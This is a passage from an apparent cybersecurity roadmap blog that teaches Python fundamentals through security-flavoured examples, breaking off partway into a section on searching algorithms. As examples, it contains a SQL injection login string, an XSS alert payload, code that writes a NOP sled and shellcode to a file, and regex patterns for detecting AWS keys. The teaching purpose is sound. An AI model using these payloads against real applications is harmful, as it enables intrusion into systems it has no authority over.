Unicast	Promiscuous mode sniffing, switched network eavesdropping
Topology	Attack path analysis, blast radius assessment, segmentation design

Next Module: Stage 1.2 — OSI Model

Previous Stage: Stage 00 — Foundations

Series Index: Full Roadmap

Stage 0.5 — Programming Fundamentals

Rençber AKMAN — Sat, 30 May 2026 13:51:16 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 0 — Computer Science Foundations

Module: 0.5 — Programming Fundamentals

Level: Beginner → Intermediate

Prerequisites: Stage 0.4 — Linux Fundamentals

Next Stage: Stage 01 — Network Fundamentals

Why Programming Is the Multiplier
Python — The Language of Security
Variables and Data Types
Loops and Conditionals
Functions
Error Handling
File Read and Write
String Operations
Basic Algorithms
Security-Oriented Programming Mindset
Hands-On Projects
Further Reading and Resources

1. Why Programming Is the Multiplier

There is a clear ceiling in cybersecurity for people who cannot code. They can run tools built by others. They can follow documented exploitation steps. They can use frameworks someone else developed. But they cannot:

Build a custom exploit for a vulnerability that has no public PoC
Write a script that automates reconnaissance across thousands of targets
Modify existing tools to evade detection
Analyse malware source code or reverse engineer compiled binaries
Build detection logic that catches novel attack patterns
Create tools tailored to specific OT protocols that no commercial product supports

Programming removes that ceiling. It turns you from a tool user into a tool builder.

The security professional's programming reality:

You do not need to be a software engineer. You do not need to build production-grade applications with clean architecture and unit tests. You need to be able to:

Read code and understand what it does
Write scripts that automate your work
Modify existing tools for your specific needs
Understand how vulnerabilities manifest at the code level

These four abilities are achievable. This module builds the foundation for all of them.

Language choice — Python:

Every language has advocates. For security work, the choice is Python, and it is not close:

All major security frameworks are Python — Impacket, Scapy, Volatility, pwntools, sqlmap
Metasploit modules are Ruby but Python scripts are the glue that connects everything
OSCP, GICSP, and every professional certification assumes Python competence
The speed from idea to working script is the fastest in Python
Libraries for every security task exist — socket, struct, ctypes, requests, cryptography, scapy

For your OT/ICS path: Modbus, DNP3, and IEC 60870 all have Python libraries. Writing a custom Modbus scanner, a DNP3 fuzzer, or a script that reads PMU data — all Python. The intersection of industrial protocol knowledge and Python is exactly where the most interesting OT security work happens.

2. Python — The Language of Security

2.1 Installation and Environment

# Check Python version (Python 3.8+ required, 3.10+ recommended)
python3 --version

# On Kali/Ubuntu — Python 3 is pre-installed
# Verify pip is available
pip3 --version

# Create a virtual environment (best practice — isolates project dependencies)
python3 -m venv security_env
source security_env/bin/activate     # Activate on Linux/Mac
# security_env\Scripts\activate      # Activate on Windows

# Install packages
pip3 install requests scapy pwntools impacket
pip3 install -r requirements.txt     # Install from requirements file

# Deactivate virtual environment
deactivate

2.2 Running Python

# Interactive interpreter (REPL — Read Eval Print Loop)
python3
>>> print("Hello")
>>> 2 + 2
>>> exit()

# Run a script
python3 script.py

# Run one-liner
python3 -c "import socket; print(socket.gethostbyname('google.com'))"

# Start a simple HTTP server (used constantly in security work)
python3 -m http.server 8080
python3 -m http.server 8080 --bind 0.0.0.0  # Listen on all interfaces

2.3 Python Basics — Syntax Rules

# Comments start with #
# Python uses indentation (4 spaces) instead of brackets for code blocks

# Correct:
if True:
    print("indented correctly")

# Wrong — IndentationError:
if True:
print("not indented")  # This will crash

# No semicolons needed at end of lines
# No variable declaration keywords (no var, let, int)
# Python is dynamically typed — type is determined at runtime

3. Variables and Data Types

3.1 Variables

# Variable assignment — no type declaration needed
name = "Alice"
age = 30
height = 1.75
is_admin = True

# Multiple assignment
x = y = z = 0
a, b, c = 1, 2, 3   # Tuple unpacking

# Variable naming conventions
user_name = "bob"          # snake_case — Python standard
MAX_RETRIES = 3            # UPPERCASE for constants (convention, not enforced)
_private = "internal"      # Underscore prefix = "private" by convention

# Check type
print(type(name))          # <class 'str'>
print(type(age))           # <class 'int'>
print(type(height))        # <class 'float'>
print(type(is_admin))      # <class 'bool'>

3.2 Core Data Types

Integers and Floats

# Integers — whole numbers, no size limit in Python 3
port = 443
pid = 1337
max_uint32 = 0xFFFFFFFF      # Hex notation
binary_value = 0b11001100    # Binary notation
octal_value = 0o755          # Octal notation (file permissions!)

print(hex(255))              # '0xff'
print(bin(255))              # '0b11111111'
print(oct(255))              # '0o377'

# Integer arithmetic
result = 10 // 3             # Integer division: 3 (floor division)
remainder = 10 % 3           # Modulo: 1 (remainder)
power = 2 ** 10              # Exponentiation: 1024

# Floats — floating point numbers
pi = 3.14159
scientific = 1.5e-10         # Scientific notation

# Type conversion
port_str = "8080"
port_int = int(port_str)     # String to int
port_float = float(port_str) # String to float
port_back = str(port_int)    # Int to string

# Security use: working with raw bytes and integers
ip_int = int.from_bytes(b'\xc0\xa8\x01\x01', 'big')  # 192.168.1.1 as integer
print(ip_int)                # 3232235777
ip_bytes = ip_int.to_bytes(4, 'big')
print(ip_bytes)              # b'\xc0\xa8\x01\x01'

Strings

# String literals — single, double, or triple quotes
name = 'Alice'
message = "Hello, World"
multiline = """This is
a multiline
string"""

# Raw strings — backslashes not treated as escape sequences
path = r"C:\Users\Alice\Documents"     # r prefix = raw string
regex = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"  # IP regex pattern

# f-strings — formatted strings (Python 3.6+, use these always)
host = "192.168.1.1"
port = 80
print(f"Connecting to {host}:{port}")
print(f"Port in hex: {port:#x}")       # Port in hex: 0x50

# String operations
s = "Hello, Security!"
print(len(s))                          # 16 — length
print(s.upper())                       # HELLO, SECURITY!
print(s.lower())                       # hello, security!
print(s.strip())                       # Remove whitespace from both ends
print(s.replace("Hello", "Goodbye"))
print(s.split(", "))                   # ['Hello', 'Security!']
print(s.startswith("Hello"))           # True
print(s.endswith("!"))                 # True
print("Security" in s)                 # True — membership test

# Indexing and slicing
s = "ABCDEFGH"
print(s[0])                            # A — first character
print(s[-1])                           # H — last character
print(s[2:5])                          # CDE — slice [start:end]
print(s[:3])                           # ABC — from beginning
print(s[5:])                           # FGH — to end
print(s[::-1])                         # HGFEDCBA — reverse

# Bytes — critical for network and binary work
data = b"GET / HTTP/1.1\r\n"          # b prefix = bytes literal
print(type(data))                      # <class 'bytes'>
print(data[0])                         # 71 — integer value of 'G'
print(data.hex())                      # 474554202f20485454502f312e310d0a

# Convert between strings and bytes
s = "Hello"
b = s.encode('utf-8')                  # str → bytes
s2 = b.decode('utf-8')                 # bytes → str

# Base64 encoding/decoding — used constantly in security
import base64
encoded = base64.b64encode(b"secret payload")   # b'c2VjcmV0IHBheWxvYWQ='
decoded = base64.b64decode(encoded)              # b'secret payload'

# Hex encoding/decoding
hex_string = b"shellcode".hex()        # '7368656c6c636f6465'
back = bytes.fromhex(hex_string)       # b'shellcode'

Lists

# Lists — ordered, mutable, allow duplicates
ports = [80, 443, 8080, 8443]
hosts = ["192.168.1.1", "192.168.1.2", "10.0.0.1"]
mixed = [1, "two", 3.0, True, None]

# Indexing and slicing (same as strings)
print(ports[0])                        # 80
print(ports[-1])                       # 8443
print(ports[1:3])                      # [443, 8080]

# Modifying lists
ports.append(3389)                     # Add to end
ports.insert(0, 21)                    # Insert at index
ports.extend([22, 25])                 # Add multiple
ports.remove(21)                       # Remove by value
popped = ports.pop()                   # Remove and return last
del ports[0]                           # Remove by index

# List operations
print(len(ports))                      # Length
print(80 in ports)                     # Membership test
ports.sort()                           # Sort in place
sorted_ports = sorted(ports)           # Return sorted copy
ports.reverse()                        # Reverse in place

# List comprehension — Python's most powerful one-liner
squares = [x**2 for x in range(10)]
open_ports = [p for p in ports if p < 1024]
hosts_80 = [h for h in hosts if h.startswith("192")]

# Security use: IP range generation
subnet = [f"192.168.1.{i}" for i in range(1, 255)]
print(subnet[:5])                      # ['192.168.1.1', '192.168.1.2', ...]

Dictionaries

# Dictionaries — key-value pairs, ordered (Python 3.7+), mutable
# The most important data structure for security scripts

# Create
host_info = {
    "ip": "192.168.1.100",
    "hostname": "server01",
    "open_ports": [22, 80, 443],
    "os": "Ubuntu 22.04",
    "is_reachable": True
}

# Access
print(host_info["ip"])                 # 192.168.1.100
print(host_info.get("hostname"))       # server01
print(host_info.get("mac", "unknown")) # "unknown" — default if key missing

# Modify
host_info["services"] = {"22": "SSH", "80": "HTTP"}
host_info["open_ports"].append(8080)
del host_info["is_reachable"]

# Iterate
for key, value in host_info.items():
    print(f"{key}: {value}")

for key in host_info.keys():
    print(key)

for value in host_info.values():
    print(value)

# Check membership
print("ip" in host_info)               # True
print("mac" in host_info)              # False

# Nested dictionaries — scan results
scan_results = {
    "192.168.1.1": {"ports": [22, 80], "os": "Linux"},
    "192.168.1.2": {"ports": [445, 3389], "os": "Windows"},
    "192.168.1.3": {"ports": [], "os": "Unknown"}
}

# Dictionary comprehension
port_dict = {port: "open" for port in [22, 80, 443]}

Sets and Tuples

# Sets — unordered, unique elements, fast membership testing
unique_ips = {"192.168.1.1", "10.0.0.1", "192.168.1.1"}  # Duplicate removed
print(unique_ips)                      # {'192.168.1.1', '10.0.0.1'}

# Set operations — perfect for finding differences in scan results
scan1 = {22, 80, 443, 8080}
scan2 = {22, 80, 3389, 5985}

newly_opened = scan2 - scan1          # {3389, 5985} — in scan2 not scan1
closed = scan1 - scan2                # {443, 8080} — in scan1 not scan2
always_open = scan1 & scan2           # {22, 80} — intersection

# Tuples — ordered, immutable
coordinates = (192, 168, 1, 1)
host_port = ("192.168.1.1", 443)      # Common pattern for socket connections

# Unpacking
host, port = host_port
ip1, ip2, ip3, ip4 = coordinates

3.3 None — The Null Value

# None represents absence of a value
result = None

# Check for None
if result is None:                     # Use "is None", not "== None"
    print("No result")

# Functions that don't return a value return None implicitly
def do_something():
    x = 1 + 1                          # No return statement

result = do_something()
print(result)                          # None

4. Loops and Conditionals

4.1 Conditionals — if/elif/else

# Basic if/elif/else
port = 443

if port == 80:
    service = "HTTP"
elif port == 443:
    service = "HTTPS"
elif port == 22:
    service = "SSH"
elif port == 3389:
    service = "RDP"
else:
    service = "Unknown"

print(f"Port {port}: {service}")

# Comparison operators
# ==   equal
# !=   not equal
# >    greater than
# <    less than
# >=   greater or equal
# <=   less or equal
# is   identity (same object in memory)
# in   membership

# Logical operators
if port > 1023 and port < 65536:
    print("Unprivileged port")

if port == 80 or port == 8080:
    print("HTTP variant")

if not port == 443:
    print("Not HTTPS")

# One-line conditional (ternary)
label = "privileged" if port < 1024 else "unprivileged"

# Chaining comparisons (Pythonic)
if 1024 <= port <= 65535:
    print("User port range")

# Truthiness — what evaluates as False:
# False, None, 0, 0.0, "", [], {}, set()
# Everything else is True

ports = []
if not ports:                          # Empty list is falsy
    print("No open ports found")

result = None
if result:                             # None is falsy
    process(result)

4.2 Loops

# for loop — iterate over any iterable
for port in [22, 80, 443, 3389]:
    print(f"Scanning port {port}...")

# range() — generate sequence of numbers
for i in range(10):                    # 0 to 9
    print(i)

for i in range(1, 11):                 # 1 to 10
    print(i)

for i in range(0, 256, 16):           # 0, 16, 32, ..., 240 (step 16)
    print(i)

for i in range(254, 0, -1):           # Count down
    print(i)

# Iterate with index — enumerate()
hosts = ["192.168.1.1", "192.168.1.2", "192.168.1.3"]
for index, host in enumerate(hosts):
    print(f"{index}: {host}")

# Iterate over dictionary
for key, value in scan_results.items():
    print(f"Host: {key}, Ports: {value}")

# while loop
attempts = 0
max_attempts = 3

while attempts < max_attempts:
    print(f"Attempt {attempts + 1}")
    attempts += 1

# Infinite loop with break
while True:
    data = receive_data()
    if data is None:
        break                          # Exit loop
    process(data)

# Loop control
for port in range(1, 1025):
    if port == 80:
        continue                       # Skip this iteration
    if port == 100:
        break                          # Exit loop entirely
    scan_port(port)

# else on loops — runs if loop completed without break
for port in range(1, 1025):
    if is_open(port):
        print(f"Found open port: {port}")
        break
else:
    print("No open ports found in range")   # Only runs if no break

# Nested loops
for host in ["192.168.1.1", "192.168.1.2"]:
    for port in [22, 80, 443]:
        print(f"Scanning {host}:{port}")

4.3 Comprehensions — Compact Loops

# List comprehension
open_ports = [p for p in range(1, 65536) if check_port(p)]

# With transformation
port_strings = [str(p) for p in [22, 80, 443]]

# Dict comprehension
port_services = {22: "SSH", 80: "HTTP", 443: "HTTPS"}
reverse = {v: k for k, v in port_services.items()}  # {"SSH": 22, ...}

# Set comprehension
unique_subnets = {ip.rsplit('.', 1)[0] for ip in ip_list}

# Generator expression — like list comp but lazy (doesn't create full list in memory)
# Use for large datasets
total = sum(1 for line in open('access.log') if '404' in line)

5. Functions

5.1 Defining and Calling Functions

# Basic function
def scan_port(host, port):
    """
    Check if a TCP port is open on a host.

    Args:
        host: Target IP address or hostname
        port: TCP port number to check

    Returns:
        True if port is open, False otherwise
    """
    import socket
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(1)
        result = sock.connect_ex((host, port))
        sock.close()
        return result == 0             # 0 = success = port open
    except Exception:
        return False

# Call the function
is_open = scan_port("192.168.1.1", 80)
print(is_open)

5.2 Parameters and Arguments

# Default parameters
def connect(host, port=80, timeout=5, use_ssl=False):
    print(f"Connecting to {host}:{port} (timeout={timeout}, ssl={use_ssl})")

connect("192.168.1.1")                 # Uses defaults: port=80, timeout=5, ssl=False
connect("192.168.1.1", 443)            # port=443, others default
connect("192.168.1.1", use_ssl=True)   # Keyword argument — skip positional
connect("192.168.1.1", 443, 10, True)  # All positional

# *args — variable number of positional arguments
def scan_ports(host, *ports):
    for port in ports:
        print(f"Scanning {host}:{port}")

scan_ports("192.168.1.1", 22, 80, 443, 8080)

# **kwargs — variable keyword arguments
def log_event(**kwargs):
    for key, value in kwargs.items():
        print(f"{key}: {value}")

log_event(timestamp="2026-01-01", source_ip="10.0.0.1", event_type="login", user="root")

# Return multiple values (actually returns a tuple)
def get_host_info(ip):
    hostname = resolve_hostname(ip)
    open_ports = scan_all_ports(ip)
    os_guess = os_fingerprint(ip)
    return hostname, open_ports, os_guess   # Returns tuple

hostname, ports, os = get_host_info("192.168.1.1")  # Unpack

5.3 Scope

# Local vs Global scope
counter = 0                            # Global variable

def increment():
    global counter                     # Declare we're using the global
    counter += 1

def bad_increment():
    counter += 1                       # UnboundLocalError — Python thinks counter is local

# Best practice: avoid global state, pass values as arguments
def increment_counter(count):
    return count + 1                   # Pure function — no side effects

counter = increment_counter(counter)

5.4 Lambda Functions

# Lambda — anonymous one-line function
square = lambda x: x ** 2
print(square(5))                       # 25

# Common use: sorting with custom key
hosts = [
    {"ip": "192.168.1.10", "ports": 3},
    {"ip": "192.168.1.1", "ports": 10},
    {"ip": "192.168.1.5", "ports": 1}
]
sorted_hosts = sorted(hosts, key=lambda h: h["ports"], reverse=True)
# Sorted by number of open ports, descending

5.5 Useful Built-in Functions

# Essential built-ins every security scripter must know

print(len([1, 2, 3]))                  # 3
print(range(10))                       # range(0, 10)
print(list(range(10)))                 # [0, 1, 2, ..., 9]
print(type("hello"))                   # <class 'str'>
print(isinstance("hello", str))        # True

# Input/Output
user_input = input("Enter target IP: ")

# Map and filter
ips = ["192.168.1.1", "10.0.0.1", "172.16.0.1"]
lengths = list(map(len, ips))          # [11, 8, 11]
private = list(filter(lambda ip: ip.startswith("192"), ips))  # Filter

# Zip — combine two iterables
hosts = ["web01", "db01", "mail01"]
ips = ["192.168.1.10", "192.168.1.20", "192.168.1.30"]
combined = list(zip(hosts, ips))       # [("web01", "192.168.1.10"), ...]
host_map = dict(zip(hosts, ips))       # {"web01": "192.168.1.10", ...}

# Min, Max, Sum
ports = [22, 80, 443, 8080]
print(min(ports))                      # 22
print(max(ports))                      # 8080
print(sum(ports))                      # 8625
print(sorted(ports))                   # [22, 80, 443, 8080]

# Any and All — check conditions across iterables
results = [True, True, False, True]
print(any(results))                    # True — at least one True
print(all(results))                    # False — not all True

# Enumerate and zip used together
for i, (host, ip) in enumerate(zip(hosts, ips)):
    print(f"{i}: {host} → {ip}")

6. Error Handling

6.1 Why Error Handling Matters in Security Scripts

Security scripts run against external targets — networks that are unreliable, hosts that go offline, services that behave unexpectedly. Without proper error handling, your scanner crashes on the first timeout, your exploit stops at the first failed connection, your log parser dies on the first malformed line.

Professional security code handles failures gracefully, logs what went wrong, and continues operating.

6.2 try/except/else/finally

import socket

# Basic try/except
try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("192.168.1.1", 80))
    print("Connected!")
except socket.timeout:
    print("Connection timed out")
except ConnectionRefusedError:
    print("Port is closed")
except socket.gaierror as e:
    print(f"DNS resolution failed: {e}")
except Exception as e:
    print(f"Unexpected error: {e}")
finally:
    sock.close()                       # Always runs, even if exception occurred

# try/except/else
try:
    result = int("443")
except ValueError:
    print("Not a valid port number")
else:
    # Only runs if NO exception occurred
    print(f"Valid port: {result}")

# Catching multiple exceptions
try:
    connect_to_target()
except (ConnectionRefusedError, socket.timeout, OSError) as e:
    print(f"Connection failed: {e}")

6.3 Common Exceptions in Security Scripts

# Network errors
import socket, requests

try:
    response = requests.get("http://target.com", timeout=5)
    response.raise_for_status()        # Raises HTTPError for 4xx/5xx
except requests.exceptions.Timeout:
    print("Request timed out")
except requests.exceptions.ConnectionError:
    print("Cannot connect — host down or port closed")
except requests.exceptions.HTTPError as e:
    print(f"HTTP error: {e.response.status_code}")
except requests.exceptions.RequestException as e:
    print(f"Request failed: {e}")

# File errors
try:
    with open("targets.txt", "r") as f:
        targets = f.readlines()
except FileNotFoundError:
    print("targets.txt not found")
    targets = []
except PermissionError:
    print("No permission to read targets.txt")
    targets = []

# Type and value errors
try:
    port = int(user_input)
    if not 1 <= port <= 65535:
        raise ValueError(f"Port {port} out of valid range")
except ValueError as e:
    print(f"Invalid port: {e}")

6.4 Raising Exceptions

def validate_ip(ip):
    """Validate IP address format."""
    parts = ip.split(".")
    if len(parts) != 4:
        raise ValueError(f"Invalid IP: {ip}")
    for part in parts:
        if not part.isdigit() or not 0 <= int(part) <= 255:
            raise ValueError(f"Invalid IP octet: {part} in {ip}")
    return True

# Custom exceptions — for complex tools
class ScanError(Exception):
    """Base exception for scanner errors."""
    pass

class TargetUnreachable(ScanError):
    """Target host is not responding."""
    pass

class AuthenticationFailed(ScanError):
    """Authentication to target failed."""
    pass

# Using custom exceptions
def connect_to_service(host, port, credentials):
    if not ping(host):
        raise TargetUnreachable(f"Host {host} is not responding")
    if not authenticate(credentials):
        raise AuthenticationFailed(f"Invalid credentials for {host}")

try:
    connect_to_service("192.168.1.1", 22, ("root", "password"))
except TargetUnreachable as e:
    print(f"Cannot reach target: {e}")
except AuthenticationFailed as e:
    print(f"Auth failed: {e}")

6.5 Context Managers — The Pythonic Way

# "with" statement ensures resources are properly released even on error
# This is the correct way to handle files and network connections

# File handling with context manager
with open("output.txt", "w") as f:
    f.write("scan results")
# File is automatically closed when block exits, even if exception occurs

# Socket with context manager
import socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    sock.settimeout(1)
    sock.connect(("192.168.1.1", 80))
    sock.send(b"GET / HTTP/1.0\r\n\r\n")
    data = sock.recv(4096)
# Socket automatically closed

# Custom context manager
from contextlib import contextmanager

@contextmanager
def timed_scan(host):
    import time
    print(f"Starting scan of {host}")
    start = time.time()
    try:
        yield
    finally:
        elapsed = time.time() - start
        print(f"Scan of {host} completed in {elapsed:.2f}s")

with timed_scan("192.168.1.1"):
    perform_scan("192.168.1.1")

7. File Read and Write

7.1 Reading Files

# Reading entire file
with open("targets.txt", "r") as f:
    content = f.read()                 # Entire file as string

with open("targets.txt", "r") as f:
    lines = f.readlines()              # List of lines (includes \n)

# Reading line by line — memory efficient for large files
with open("access.log", "r") as f:
    for line in f:                     # f is an iterator
        if "404" in line:
            print(line.strip())        # strip() removes trailing \n

# Clean line reading
with open("targets.txt", "r") as f:
    targets = [line.strip() for line in f if line.strip()]  # Skip empty lines

# Reading binary files — for forensics, malware analysis
with open("sample.exe", "rb") as f:   # "rb" = read binary
    header = f.read(4)                 # Read first 4 bytes (magic bytes)
    print(header.hex())                # MZ header: 4d5a → PE file

# Checking magic bytes (file type detection)
magic_bytes = {
    b'\x4d\x5a': "Windows PE (EXE/DLL)",
    b'\x7fELF': "Linux ELF binary",
    b'\x89PNG': "PNG image",
    b'%PDF': "PDF document",
    b'PK\x03\x04': "ZIP archive (also DOCX, XLSX, APKJ)"
}

with open("unknown_file", "rb") as f:
    header = f.read(4)
    for magic, filetype in magic_bytes.items():
        if header.startswith(magic):
            print(f"File type: {filetype}")
            break

7.2 Writing Files

# Write (overwrite if exists)
with open("scan_results.txt", "w") as f:
    f.write("Scan Results\n")
    f.write("=" * 40 + "\n")
    for host, ports in results.items():
        f.write(f"{host}: {', '.join(map(str, ports))}\n")

# Append to file
with open("scan_log.txt", "a") as f:
    f.write(f"[{timestamp}] Scanned {host}\n")

# Writing binary
with open("payload.bin", "wb") as f:
    f.write(b"\x90" * 100)            # 100 NOP instructions
    f.write(shellcode)

# Writing multiple lines efficiently
lines = [f"192.168.1.{i}\n" for i in range(1, 255)]
with open("subnet.txt", "w") as f:
    f.writelines(lines)

7.3 JSON — The Standard Data Exchange Format

import json

# Load JSON from file
with open("scan_results.json", "r") as f:
    data = json.load(f)

# Load JSON from string
json_str = '{"host": "192.168.1.1", "ports": [22, 80, 443]}'
data = json.loads(json_str)
print(data["host"])                    # 192.168.1.1

# Write JSON to file
results = {
    "192.168.1.1": {"ports": [22, 80], "os": "Linux"},
    "192.168.1.2": {"ports": [3389], "os": "Windows"}
}
with open("results.json", "w") as f:
    json.dump(results, f, indent=4)    # indent=4 for pretty printing

# Convert to JSON string
json_str = json.dumps(results, indent=2)
print(json_str)

# Handling JSON from APIs and security tools
import requests
response = requests.get("https://api.shodan.io/shodan/host/8.8.8.8")
data = response.json()
print(data["org"])                     # Google LLC
print(data["ports"])                   # [53, 443]

7.4 CSV — Log Analysis

import csv

# Read CSV
with open("hosts.csv", "r") as f:
    reader = csv.DictReader(f)         # Use header row as keys
    for row in reader:
        print(row["ip"], row["hostname"], row["status"])

# Write CSV
hosts = [
    {"ip": "192.168.1.1", "hostname": "router", "status": "up"},
    {"ip": "192.168.1.2", "hostname": "server", "status": "up"}
]
with open("output.csv", "w", newline='') as f:
    fieldnames = ["ip", "hostname", "status"]
    writer = csv.DictWriter(f, fieldnames=fieldnames)
    writer.writeheader()
    writer.writerows(hosts)

# Parse Apache/Nginx access logs
import re
log_pattern = r'(\S+) \S+ \S+ \[(.+?)\] "(\S+) (\S+) \S+" (\d+) (\d+)'
with open("/var/log/nginx/access.log", "r") as f:
    for line in f:
        match = re.match(log_pattern, line)
        if match:
            ip, time, method, path, status, size = match.groups()
            if status == "404":
                print(f"404: {ip} requested {path}")

7.5 Working with Paths

import os
from pathlib import Path                # Modern, recommended

# pathlib (Python 3.4+, always use this)
p = Path("/etc/ssh/sshd_config")

print(p.exists())                      # True/False
print(p.is_file())                     # True
print(p.is_dir())                      # False
print(p.parent)                        # /etc/ssh
print(p.name)                          # sshd_config
print(p.stem)                          # sshd_config (no extension here)
print(p.suffix)                        # '' (no extension)
print(p.stat().st_size)                # File size in bytes
print(p.stat().st_mtime)               # Modification timestamp

# Build paths
home = Path.home()                     # /home/kali or /root
config = home / ".ssh" / "config"     # /home/kali/.ssh/config

# List directory
for f in Path("/etc").iterdir():
    if f.is_file():
        print(f.name)

# Recursive glob
for py_file in Path("/home").rglob("*.py"):
    print(py_file)

for sh_file in Path("/etc").glob("*.conf"):
    print(sh_file)

# os module (older but still used)
print(os.getcwd())                     # Current directory
os.makedirs("/tmp/results", exist_ok=True)  # Create directory tree
os.environ.get("HOME")                 # Get environment variable
os.listdir("/tmp")                     # List directory
os.path.join("/etc", "ssh", "sshd_config")  # Build path (os.path way)

8. String Operations

8.1 Regular Expressions — The Security Analyst's Power Tool

Regular expressions (regex) are patterns for matching, extracting, and manipulating text. They are indispensable for log analysis, data extraction, and input validation.

import re

# Basic matching
text = "Failed password for root from 192.168.1.100 port 51234"

# re.search — find first match anywhere in string
match = re.search(r"(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})", text)
if match:
    print(match.group(1))              # 192.168.1.100

# re.findall — find all matches
text = "Hosts: 192.168.1.1, 10.0.0.1, 172.16.0.5 are down"
ips = re.findall(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
print(ips)                             # ['192.168.1.1', '10.0.0.1', '172.16.0.5']

# re.match — match at beginning of string
if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$", "192.168.1.1"):
    print("Valid IP format")

# re.sub — replace
clean = re.sub(r"password=\S+", "password=REDACTED", "db_password=s3cr3t123")
print(clean)                           # db_password=REDACTED

# re.split — split on pattern
parts = re.split(r"[\s,;]+", "192.168.1.1, 10.0.0.1; 172.16.0.1")
print(parts)                           # ['192.168.1.1', '10.0.0.1', '172.16.0.1']

# Groups — extract parts of a pattern
log_line = "May 29 10:00:01 server sshd[1234]: Accepted publickey for john from 10.10.14.5"
pattern = r"Accepted \w+ for (\w+) from ([\d.]+)"
match = re.search(pattern, log_line)
if match:
    user = match.group(1)              # john
    ip = match.group(2)               # 10.10.14.5
    print(f"User {user} logged in from {ip}")

# Named groups — cleaner code
pattern = r"Accepted \w+ for (?P<user>\w+) from (?P<ip>[\d.]+)"
match = re.search(pattern, log_line)
if match:
    print(match.group("user"))         # john
    print(match.group("ip"))           # 10.10.14.5

# Compile pattern for reuse (performance)
ip_pattern = re.compile(r"\b(?:\d{1,3}\.){3}\d{1,3}\b")
# Now use: ip_pattern.search(), ip_pattern.findall(), etc.

8.2 Essential Regex Patterns for Security Work

import re

patterns = {
    # Network
    "ipv4": r"\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b",
    "ipv6": r"(?:[0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}",
    "mac": r"(?:[0-9a-fA-F]{2}[:-]){5}[0-9a-fA-F]{2}",
    "url": r"https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+[/\w .?=%&-]*",
    "domain": r"(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}",

    # Credentials
    "email": r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}",
    "base64": r"(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?",

    # Hash patterns
    "md5": r"\b[a-fA-F0-9]{32}\b",
    "sha1": r"\b[a-fA-F0-9]{40}\b",
    "sha256": r"\b[a-fA-F0-9]{64}\b",
    "ntlm": r"\b[a-fA-F0-9]{32}\b",    # Same as MD5 format

    # Credit card (for DLP testing)
    "credit_card": r"\b(?:\d{4}[-\s]?){3}\d{4}\b",

    # AWS
    "aws_key": r"AKIA[0-9A-Z]{16}",
    "aws_secret": r"(?<![A-Z0-9])[A-Za-z0-9/+]{40}(?![A-Za-z0-9/+])",
}

# Usage example: extract IOCs from text
def extract_iocs(text):
    return {
        "ips": re.findall(patterns["ipv4"], text),
        "domains": re.findall(patterns["domain"], text),
        "emails": re.findall(patterns["email"], text),
        "md5": re.findall(patterns["md5"], text),
        "sha256": re.findall(patterns["sha256"], text),
        "urls": re.findall(patterns["url"], text),
    }

8.3 String Encoding and Decoding for Security Work

import base64, binascii, urllib.parse, html

# Base64
encoded = base64.b64encode(b"secret payload").decode()   # String output
decoded = base64.b64decode(encoded)                       # Bytes output

# URL encoding/decoding
url_encoded = urllib.parse.quote("SELECT * FROM users WHERE name='admin'")
# SELECT%20%2A%20FROM%20users%20WHERE%20name%3D%27admin%27
decoded_url = urllib.parse.unquote(url_encoded)

# URL encoding for POST data
from urllib.parse import urlencode
params = {"username": "admin' OR '1'='1", "password": "anything"}
encoded_params = urlencode(params)

# HTML encoding/decoding
html_encoded = html.escape("<script>alert('XSS')</script>")
# &lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;
decoded_html = html.unescape(html_encoded)

# Hex encoding
hex_str = "hello".encode().hex()               # '68656c6c6f'
back = bytes.fromhex(hex_str).decode()         # 'hello'

# ROT13 (Caesar cipher, used in old CTFs)
import codecs
rot13 = codecs.encode("Hello World", "rot13")  # Uryyb Jbeyq
original = codecs.decode(rot13, "rot13")        # Hello World

# XOR — common in malware obfuscation
def xor_decode(data, key):
    return bytes(b ^ key for b in data)

obfuscated = bytes([0x48 ^ 0xAA, 0x65 ^ 0xAA, 0x6C ^ 0xAA])  # XOR with 0xAA
decoded = xor_decode(obfuscated, 0xAA)
print(decoded)                                  # b'Hel'

9. Basic Algorithms

9.1 Why Algorithms Matter in Security

Algorithm knowledge in security is not academic. It directly applies to:

Understanding time complexity of brute force attacks (how long will this actually take?)
Writing efficient log parsers that handle millions of lines
Implementing search in threat intelligence lookups
Sorting and ranking vulnerabilities by severity
Detecting patterns in network traffic

9.2 Searching

# Linear search — O(n) — check every element
def linear_search(lst, target):
    for i, item in enumerate(lst):
        if item == target:
            return i
    return -1

# For security: searching for a specific IP in a blocklist
blocklist = ["10.0.0.1", "192.168.1.100", "172.16.0.5"]
result = linear_search(blocklist, "192.168.1.100")

# Better for membership: use a set — O(1) lookup
blocklist_set = set(blocklist)
if "192.168.1.100" in blocklist_set:   # Instant lookup regardless of list size
    print("IP is blocked")

# This matters at scale:
# Linear search through 1,000,000 IPs: up to 1,000,000 comparisons
# Set lookup: 1 comparison regardless of size
# When processing firewall logs with millions of entries, this is the difference
# between a script that takes 10 seconds and one that takes 2 hours

# Binary search — O(log n) — requires sorted list
def binary_search(lst, target):
    left, right = 0, len(lst) - 1
    while left <= right:
        mid = (left + right) // 2
        if lst[mid] == target:
            return mid
        elif lst[mid] < target:
            left = mid + 1
        else:
            right = mid - 1
    return -1

# Built-in binary search
import bisect
